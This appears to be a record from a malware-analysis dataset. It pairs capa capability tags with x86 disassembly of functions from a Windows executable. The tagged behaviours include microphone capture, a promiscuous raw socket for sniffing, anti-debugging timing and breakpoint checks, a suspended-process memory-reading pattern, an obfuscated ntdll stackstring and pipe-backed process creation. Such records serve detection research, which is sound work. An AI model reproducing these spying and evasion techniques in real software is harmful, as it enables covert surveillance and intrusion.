joyce8/EMBER2024-capa huggingface dataset:
Function at 0x463dfc
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x463ed0
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0x10
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x18]
push eax
push 0
push 0xffff
lea eax, [ebx + 0x30]
push eax
mov eax, dword [ebx + 0x1024c]
push eax
call sub.wsock32.dll_recvfrom
mov dword [ebx + 0x10030], eax
cmp word [ebx + 0x10222], 0
je 0x463eba
lea eax, [ebp - 8]
push eax
xor eax, eax
mov al, byte [ebp - 0x14]
mov dword [ebp - 0x38], eax
mov byte [ebp - 0x34], 0
xor eax, eax
mov al, byte [ebp - 0x13]
mov dword [ebp - 0x30], eax
mov byte [ebp - 0x2c], 0
xor eax, eax
mov al, byte [ebp - 0x12]
mov dword [ebp - 0x28], eax
mov byte [ebp - 0x24], 0
xor eax, eax
mov al, byte [ebp - 0x11]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x1c], 0
lea edx, [ebp - 0x38]
mov ecx, 3
mov eax, 0x463ee4
call fcn.0040a36c
mov ax, word [ebp - 0x16]
push eax
call sub.wsock32.dll_ntohs
mov edx, dword [ebp - 8]
push edx
movzx eax, ax
push eax
mov ecx, dword [ebx + 0x10030]
mov edx, ebx
mov eax, dword [ebx + 0x10224]
call dword [ebx + 0x10220]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x463ed7
lea eax, [ebp - 8]
call fcn.00404b2c
ret

Function at 0x4640cc
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov ebx, edx
mov esi, eax
mov edi, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.00404fdc
xor eax, eax
push ebp
push 0x4641f9
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebx + 0xc], eax
lea eax, [ebx + 0x10034]
mov edx, dword [ebp - 4]
call fcn.00404b80
mov dword [ebx + 0x10224], esi
mov dword [ebx + 0x10220], 0x46403c
mov edx, 0xfa0
mov eax, ebx
call fcn.004636b4
mov eax, dword [ebx + 0x1003c]
mov dword [ebx + 0x10038], eax
lea eax, [ebp - 8]
mov edx, dword [ebx + 0x1003c]
mov dword [eax], edx
push 4
lea edx, [ebp - 8]
mov ecx, 3
mov eax, ebx
call fcn.004639e4
call sub.kernel32.dll_GetTickCount_1
mov esi, eax
jmp 0x464161
mov eax, dword [0x4a05d4]
mov eax, dword [eax]
call fcn.00454424
cmp dword [ebx + 0xc], 0
jne 0x4641dd
call sub.kernel32.dll_GetTickCount_1
sub eax, esi
cmp eax, 0x32
jb 0x464155
jmp 0x4641dd
mov edx, dword [edi]
mov eax, ebx
call fcn.004636b4
inc dword [edi]
cmp dword [edi], 0xffff
jne 0x46418e
mov dword [edi], 0xfa0
mov eax, dword [ebx + 0x1003c]
mov dword [ebx + 0x10038], eax
lea eax, [ebp - 8]
mov edx, dword [ebx + 0x1003c]
mov dword [eax], edx
push 4
lea edx, [ebp - 8]
mov ecx, 3
mov eax, ebx
call fcn.004639e4
call sub.kernel32.dll_GetTickCount_1
mov esi, eax
jmp 0x4641cb
mov eax, dword [0x4a05d4]
mov eax, dword [eax]
call fcn.00454424
cmp dword [ebx + 0xc], 0
jne 0x4641dd
call sub.kernel32.dll_GetTickCount_1
sub eax, esi
cmp eax, 0x32
jb 0x4641bf
cmp dword [ebx + 0xc], 0
je 0x464175
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x464200
lea eax, [ebp - 4]
call fcn.00404b2c
ret
Function at 0x468738
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x468766
mov eax, ebx
call fcn.004691ec
cmp dword [ebx + 0x40], 0
je 0x46875f
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x4687d7
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x4687c9
cmp dword [ebx + 8], 0
je 0x468788
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x46879a
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x4687c9
cmp dword [ebx + 8], 0
je 0x46877b
cmp eax, 3
je 0x4687ad
dec eax
jne 0x46877b
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x46877b
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x46877b
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x4687f5
cmp dword [ebx + 0x14], 0xcc
je 0x4687f5
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.00468800
pop ebx
ret
Function at 0x487638
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x4a6960
cmp dword [edi], 0
jne 0x4876b4
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x4a695c]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x49fc98
mov ecx, 2
call fcn.004029d8
mov edx, 0x487610
lea eax, [esi + 5]
call fcn.00487630
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.00487630
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x487689
mov dword [0x4a695c], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x487830
Capabilities:
Capture microphone audio

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 4], 0
je 0x487946
push 0x20
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x94]
push eax
call sub.winmm.dll_waveInUnprepareHeader
test eax, eax
jne 0x487951
mov eax, dword [ebp - 8]
mov ebx, dword [eax + 8]
mov eax, dword [ebp - 4]
cmp word [eax + 0xa2], 0
je 0x4878d4
mov eax, ebx
call fcn.0040272c
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x4878cd
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov ecx, ebx
call fcn.004029d8
push ebx
mov ebx, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 0xa4]
call dword [ebx + 0xa0]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4878d4
mov eax, dword [ebp - 0xc]
call fcn.0040274c
ret
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov edx, dword [ebp - 8]
mov dword [edx + 4], eax
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 8], edx
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 0xc], edx
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 0x10], edx
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 0x14], edx
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
xor ecx, ecx
call fcn.00407a58
push 0x20
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x94]
push eax
call sub.winmm.dll_waveInPrepareHeader
test eax, eax
jne 0x487951
push 0x20
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x94]
push eax
call sub.winmm.dll_waveInAddBuffer
test eax, eax
jne 0x487951
jmp 0x487951
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00487b14
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x487958
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffff7c
mov esi, edx
lea edi, [esp]
mov ecx, 0x20
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ebx, eax
cmp byte [ebx + 4], 0
jne 0x4879d1
push 0x10004
push 0
mov eax, dword [ebx + 0x98]
push eax
lea eax, [esp + 0xc]
push eax
push 0
lea eax, [ebx + 0x94]
push eax
call sub.winmm.dll_waveInOpen
test eax, eax
jne 0x4879d1
movzx esi, byte [ebx + 0x91]
test esi, esi
jle 0x4879b0
mov eax, ebx
call fcn.00487a9c
dec esi
jne 0x4879a6
mov eax, dword [ebx + 0x94]
push eax
call sub.winmm.dll_waveInStart
test eax, eax
jne 0x4879d1
mov esi, esp
lea edi, [ebx + 0x10]
mov ecx, 0x20
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov byte [ebx + 4], 1
add esp, 0x84
pop edi
pop esi
pop ebx
ret

Function at 0x487a9c
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push esi
push edi
mov ebx, eax
mov eax, 0x20
call fcn.0040272c
mov edi, eax
mov edx, edi
mov eax, dword [ebx + 8]
call fcn.004158cc
mov esi, edi
mov eax, dword [ebx + 0xc]
call fcn.0040272c
mov dword [esi], eax
mov eax, dword [ebx + 0xc]
mov dword [esi + 4], eax
xor eax, eax
mov dword [esi + 8], eax
xor eax, eax
mov dword [esi + 0x10], eax
xor eax, eax
mov dword [esi + 0x14], eax
push 0x20
push edi
mov eax, dword [ebx + 0x94]
push eax
call sub.winmm.dll_waveInPrepareHeader
test eax, eax
jne 0x487afc
push 0x20
push edi
mov eax, dword [ebx + 0x94]
push eax
call sub.winmm.dll_waveInAddBuffer
test eax, eax
mov eax, edi
pop edi
pop esi
pop ebx
ret

Function at 0x487eb4
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffc0
mov edi, eax
push 0x14
lea eax, [edi + 0x4c]
mov ecx, 1
mov edx, dword [0x487ca8]
call fcn.00405e8c
add esp, 4
push 0x40
lea eax, [esp + 4]
push eax
call sub.wsock32.dll_gethostname_1
push esp
call sub.wsock32.dll_gethostbyname_1
test eax, eax
jne 0x487f14
push 0
lea eax, [edi + 0x4c]
mov ecx, 1
mov edx, dword [0x487ca8]
call fcn.00405e8c
add esp, 4
cmp word [edi + 0x42], 0
je 0x487f54
xor edx, edx
mov eax, dword [edi + 0x44]
call dword [edi + 0x40]
jmp 0x487f54
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x487f31
push dword [ebp]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
mov eax, dword [edi + 0x4c]
lea eax, [eax + ebx*4]
call fcn.00404d24
inc ebx
mov ebp, dword [esi + ebx*4]
test ebp, ebp
je 0x487f3d
cmp ebx, 0x14
jl 0x487f1b
push ebx
lea eax, [edi + 0x4c]
mov ecx, 1
mov edx, dword [0x487ca8]
call fcn.00405e8c
add esp, 4
add esp, 0x40
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x487f5c
Capabilities:
Create raw socket
Create tcp socket
Create udp socket

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov ebx, eax
lea ebp, [esp + 8]
mov eax, dword [ebx + 0x4c]
call fcn.00405cd8
inc eax
je 0x488060
mov eax, dword [ebx + 0x4c]
call fcn.00405cd8
inc eax
push eax
lea eax, [ebx + 0x48]
mov ecx, 1
mov edx, dword [0x487c84]
call fcn.00405e8c
add esp, 4
mov eax, dword [ebx + 0x4c]
call fcn.00405cd8
mov edi, eax
test edi, edi
jl 0x488060
inc edi
xor esi, esi
push 0
push 3
push 2
call sub.wsock32.dll_socket
mov edx, dword [ebx + 0x48]
mov dword [edx + esi*4], eax
mov word [ebp], 2
push esi
call sub.wsock32.dll_htons
mov word [ebp + 2], ax
mov eax, dword [ebx + 0x4c]
mov eax, dword [eax + esi*4]
call fcn.00404fec
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebp + 4], eax
push 0x10
push ebp
mov eax, dword [ebx + 0x48]
mov eax, dword [eax + esi*4]
push eax
call sub.wsock32.dll_bind
mov edx, eax
mov eax, ebx
call fcn.00488544
mov dword [esp], 1
xor eax, eax
mov dword [esp + 4], eax
push 0
push 0
lea eax, [esp + 0xc]
push eax
push 0x2c
lea eax, [esp + 0x28]
push eax
push 4
lea eax, [esp + 0x18]
push eax
push 0x98000001
mov eax, dword [ebx + 0x48]
mov eax, dword [eax + esi*4]
push eax
call dword [ebx + 0x6c]
mov edx, eax
mov eax, ebx
call fcn.00488544
push 0x21
lea eax, [esi + 0x4c8]
push eax
mov eax, dword [ebx + 0x34]
push eax
mov eax, dword [ebx + 0x48]
mov eax, dword [eax + esi*4]
push eax
call sub.wsock32.dll_WSAAsyncSelect
mov edx, eax
mov eax, ebx
call fcn.00488544
inc esi
dec edi
jne 0x487fad
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4886f0
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffe70
mov edi, eax
mov bl, 1
cmp byte [edi + 0x7d], 0
jne 0x488837
push 0x488844
call sub.kernel32.dll_LoadLibraryA
mov esi, eax
mov dword [edi + 0x30], esi
test esi, esi
jne 0x488721
xor ebx, ebx
jmp 0x488837
push 0x488850
push esi
call sub.kernel32.dll_GetProcAddress_1
mov dword [edi + 0x50], eax
push 0x48885c
mov eax, dword [edi + 0x30]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [edi + 0x54], eax
push 0x488864
mov eax, dword [edi + 0x30]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [edi + 0x58], eax
push 0x488870
mov eax, dword [edi + 0x30]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [edi + 0x5c], eax
push 0x488878
mov eax, dword [edi + 0x30]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [edi + 0x60], eax
push 0x488880
mov eax, dword [edi + 0x30]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [edi + 0x64], eax
push 0x48888c
mov eax, dword [edi + 0x30]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [edi + 0x68], eax
push 0x488894
mov eax, dword [edi + 0x30]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [edi + 0x6c], eax
push 0x4888a0
mov eax, dword [edi + 0x30]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [edi + 0x70], eax
push 0x4888a8
mov eax, dword [edi + 0x30]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [edi + 0x74], eax
push 0x4888b4
mov eax, dword [edi + 0x30]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [edi + 0x78], eax
cmp dword [edi + 0x50], 0
je 0x48881e
cmp dword [edi + 0x5c], 0
je 0x48881e
cmp dword [edi + 0x60], 0
je 0x48881e
cmp dword [edi + 0x68], 0
je 0x48881e
cmp dword [edi + 0x74], 0
je 0x48881e
cmp dword [edi + 0x54], 0
je 0x48881e
cmp dword [edi + 0x58], 0
je 0x48881e
cmp dword [edi + 0x64], 0
je 0x48881e
mov eax, sub.wsock32.dll_recv
test eax, eax
je 0x48881e
cmp dword [edi + 0x6c], 0
je 0x48881e
cmp dword [edi + 0x78], 0
jne 0x488822
xor ebx, ebx
jmp 0x488837
push esp
push 0x201
call dword [edi + 0x50]
test eax, eax
je 0x488833
xor ebx, ebx
jmp 0x488837
mov byte [edi + 0x7d], 1
mov eax, ebx
add esp, 0x190
pop edi
pop esi
pop ebx
ret
Function at 0x488dc4
Capabilities:
Enumerate pe sections

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffe0
mov dword [esp], eax
xor ebx, ebx
mov eax, ebx
shr eax, 1
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
mov ecx, dword [edx + eax*4 + 0x20]
shr ecx, 0x10
mov esi, ecx
imul esi, ecx
mov eax, esi
imul eax, ecx
mov edi, eax
imul edi, ecx
mov dword [esp + 8], edi
movzx edi, byte [edx + ebx*4]
imul edi, dword [esp + 8]
movzx ebp, byte [edx + ebx*4 + 1]
imul ebp, eax
add edi, ebp
xor eax, eax
mov al, byte [edx + ebx*4 + 2]
imul eax, esi
add edi, eax
xor eax, eax
mov al, byte [edx + ebx*4 + 3]
imul eax, ecx
add edi, eax
inc edi
mov dword [esp + 4], edi
mov eax, dword [esp + 0xc]
mov ecx, dword [edx + eax*4 + 0x20]
and ecx, 0xffff
mov esi, ecx
imul esi, ecx
mov eax, esi
imul eax, ecx
mov edi, eax
imul edi, ecx
mov dword [esp + 8], edi
movzx edi, byte [edx + ebx*4 + 4]
imul edi, dword [esp + 8]
movzx ebp, byte [edx + ebx*4 + 5]
imul ebp, eax
add edi, ebp
xor eax, eax
mov al, byte [edx + ebx*4 + 6]
imul eax, esi
add edi, eax
xor eax, eax
mov al, byte [edx + ebx*4 + 7]
imul eax, ecx
add edi, eax
inc edi
mov eax, edi
mov ecx, dword [esp + 4]
shl ecx, 0x10
mov esi, eax
and esi, 0xffff
or ecx, esi
mov esi, dword [esp]
mov edi, dword [esp + 0xc]
mov dword [esi + edi*4], ecx
mov ecx, dword [esp + 4]
and ecx, 0xffff0000
shr eax, 0x10
or ecx, eax
mov eax, dword [esp + 0xc]
mov dword [esp + eax*4 + 0x10], ecx
add ebx, 2
cmp ebx, 8
jne 0x488dd0
mov eax, dword [esp + 0x10]
mov ecx, eax
shr ecx, 0x10
mov ebx, dword [esp + 0x1c]
mov esi, ebx
shl esi, 0x10
or ecx, esi
mov dword [edx + 0x20], ecx
shl eax, 0x10
mov ecx, dword [esp + 0x14]
mov esi, ecx
shr esi, 0x10
or eax, esi
mov dword [edx + 0x24], eax
shl ecx, 0x10
mov eax, dword [esp + 0x18]
shr eax, 0x10
or ecx, eax
mov dword [edx + 0x28], ecx
mov eax, dword [esp + 0x18]
shl eax, 0x10
shr ebx, 0x10
or eax, ebx
mov dword [edx + 0x2c], eax
add esp, 0x20
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x489e90
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebx
add esp, 0xfffffff4
mov ebx, eax
mov byte [esp], 0x6e
mov byte [esp + 1], 0x74
mov byte [esp + 2], 0x64
mov byte [esp + 3], 0x6c
mov byte [esp + 4], 0x6c
mov byte [esp + 5], 0x2e
mov byte [esp + 6], 0x64
mov byte [esp + 7], 0x6c
mov byte [esp + 8], 0x6c
mov eax, ebx
mov edx, esp
mov ecx, 9
call fcn.00404c1c
add esp, 0xc
pop ebx
ret
Function at 0x48a618
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff88
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404fdc
xor eax, eax
push ebp
push 0x48a730
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
xor ecx, ecx
mov edx, 0x44
call fcn.004032b8
lea eax, [ebp - 0x5c]
xor ecx, ecx
mov edx, 0x10
call fcn.004032b8
mov dword [ebp - 0x4c], 0x44
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x4c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404fec
push eax
push 0
call sub.kernel32.dll_CreateProcessA
cmp eax, 1
sbb ebx, ebx
inc ebx
test bl, bl
je 0x48a71a
mov eax, dword [ebp - 0x5c]
mov dword [esi], eax
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp - 0x58]
mov dword [eax], edx
mov eax, dword [ebp + 0x10]
mov edx, dword [ebp - 0x54]
mov dword [eax], edx
mov dword [edi], 0x10007
push edi
mov eax, dword [ebp + 0x14]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetThreadContext
call fcn.00458870
test al, al
je 0x48a6ea
call fcn.00458870
test al, al
je 0x48a6ea
lea eax, [ebp - 8]
push eax
push 4
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [edi + 0xa4]
add eax, 8
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_ReadProcessMemory
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
jmp 0x48a6fd
cmp dword [ebp - 0x68], 0x10000
je 0x48a710
add edi, dword [ebp - 0x6c]
push 0x1c
lea eax, [ebp - 0x78]
push eax
push edi
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualQueryEx
test eax, eax
jne 0x48a6f1
mov eax, dword [ebp + 0xc]
sub edi, dword [eax]
mov eax, dword [ebp + 8]
mov dword [eax], edi
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48a737
lea eax, [ebp - 4]
call fcn.00404b2c
ret
Function at 0x48c708
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff994
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x66c], edx
mov dword [ebp - 0x668], edx
mov dword [ebp - 0x10], edx
mov ebx, eax
lea esi, [ebp - 0xc]
xor eax, eax
push ebp
push 0x48c894
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x668]
lea edx, [ebp - 0x661]
mov ecx, 0x105
call fcn.00404d9c
mov eax, dword [ebp - 0x668]
lea edx, [ebp - 0x10]
call fcn.00409a24
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x10]
call fcn.00404fec
push eax
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x48c865
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
push 0
mov eax, dword [ebx + 0x40]
call fcn.00404fec
push eax
mov eax, dword [ebp - 4]
push eax
call sub.wininet.dll_InternetOpenUrlA
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x48c847
push dword fs:[eax]
mov dword fs:[eax], esp
mov ecx, dword [ebx + 0x48]
mov edx, dword [ebx + 0x44]
lea eax, [ebp - 0x66c]
call fcn.00404e38
mov eax, dword [ebp - 0x66c]
call fcn.00404fec
mov edx, eax
lea eax, [ebp - 0x55c]
call fcn.00402f24
mov edx, 1
lea eax, [ebp - 0x55c]
call fcn.004035e8
call fcn.00402894
push esi
push 0x400
lea eax, [ebp - 0x410]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetReadFile
push 0
lea edx, [ebp - 0x410]
mov ecx, dword [esi]
lea eax, [ebp - 0x55c]
call fcn.004030a8
call fcn.00402894
cmp dword [esi], 0
jne 0x48c7eb
lea eax, [ebp - 0x55c]
call fcn.004030c8
call fcn.00402894
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48c84e
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetCloseHandle
ret

Function at 0x48ca14
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create two anonymous pipes

Disassembly:
push ebx
add esp, 0xffffffb0
mov ebx, eax
mov dword [esp], 0xc
mov dword [esp + 8], 0xffffffff
xor eax, eax
mov dword [esp + 4], eax
push 0
lea eax, [esp + 4]
push eax
lea eax, [ebx + 0x44]
push eax
lea eax, [ebx + 0x40]
push eax
call sub.kernel32.dll_CreatePipe
push 0
lea eax, [esp + 4]
push eax
lea eax, [ebx + 0x4c]
push eax
lea eax, [ebx + 0x48]
push eax
call sub.kernel32.dll_CreatePipe
mov dword [esp], 0xc
mov dword [esp + 8], 0xffffffff
xor eax, eax
mov dword [esp + 4], eax
lea eax, [esp + 0xc]
xor ecx, ecx
mov edx, 0x44
call fcn.004032b8
mov dword [esp + 0xc], 0x44
mov eax, dword [ebx + 0x44]
mov dword [esp + 0x48], eax
mov edx, dword [ebx + 0x48]
mov dword [esp + 0x44], edx
mov dword [esp + 0x4c], eax
mov dword [esp + 0x38], 0x101
mov word [esp + 0x3c], 0
lea eax, [ebx + 0x50]
push eax
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0x20
push 0xffffffffffffffff
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x1c]
push eax
push 0x48cad4
push 0
call sub.kernel32.dll_CreateProcessA
add esp, 0x50
pop ebx
ret
Function at 0x48cb4c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 4], ecx
mov esi, edx
mov eax, dword [ebp - 4]
call fcn.00404fdc
xor eax, eax
push ebp
push 0x48cbc3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00404dec
mov ebx, eax
inc ebx
lea eax, [ebp - 0xc]
mov ecx, 0x48cbd8
mov edx, dword [ebp - 4]
call fcn.00404e38
mov eax, dword [ebp - 0xc]
call fcn.00404fec
push 0
lea edx, [ebp - 8]
push edx
push ebx
push eax
push esi
call sub.kernel32.dll_WriteFile_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48cbca
lea eax, [ebp - 0xc]
call fcn.00404b2c
lea eax, [ebp - 4]
call fcn.00404b2c
ret

Function at 0x48e4f0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 8], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x48e586
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00404b2c
lea eax, [ebp - 4]
push eax
push esi
push 0
call sub.shell32.dll_SHGetSpecialFolderLocation
call fcn.00407ab0
test eax, eax
je 0x48e570
lea eax, [ebp - 8]
mov edx, 0x104
call fcn.00405178
mov eax, dword [ebp - 8]
call fcn.00404fec
push eax
mov eax, dword [ebp - 4]
push eax
call sub.shell32.dll_SHGetPathFromIDListA
mov eax, dword [ebp - 8]
call fcn.00404fec
call fcn.00409c64
mov edx, eax
lea eax, [ebp - 8]
call fcn.00405178
mov eax, ebx
mov ecx, 0x48e59c
mov edx, dword [ebp - 8]
call fcn.00404e38
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48e58d
lea eax, [ebp - 8]
call fcn.00404b2c
ret

Function at 0x48e5a0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 8], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x48e631
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00404b2c
lea eax, [ebp - 4]
push eax
push esi
push 0
call sub.shell32.dll_SHGetSpecialFolderLocation
call fcn.00407ab0
test eax, eax
je 0x48e61b
lea eax, [ebp - 8]
mov edx, 0x104
call fcn.00405178
mov eax, dword [ebp - 8]
call fcn.00404fec
push eax
mov eax, dword [ebp - 4]
push eax
call sub.shell32.dll_SHGetPathFromIDListA
mov eax, dword [ebp - 8]
call fcn.00404fec
call fcn.00409c64
mov edx, eax
lea eax, [ebp - 8]
call fcn.00405178
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.00404b80
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48e638
lea eax, [ebp - 8]
call fcn.00404b2c
ret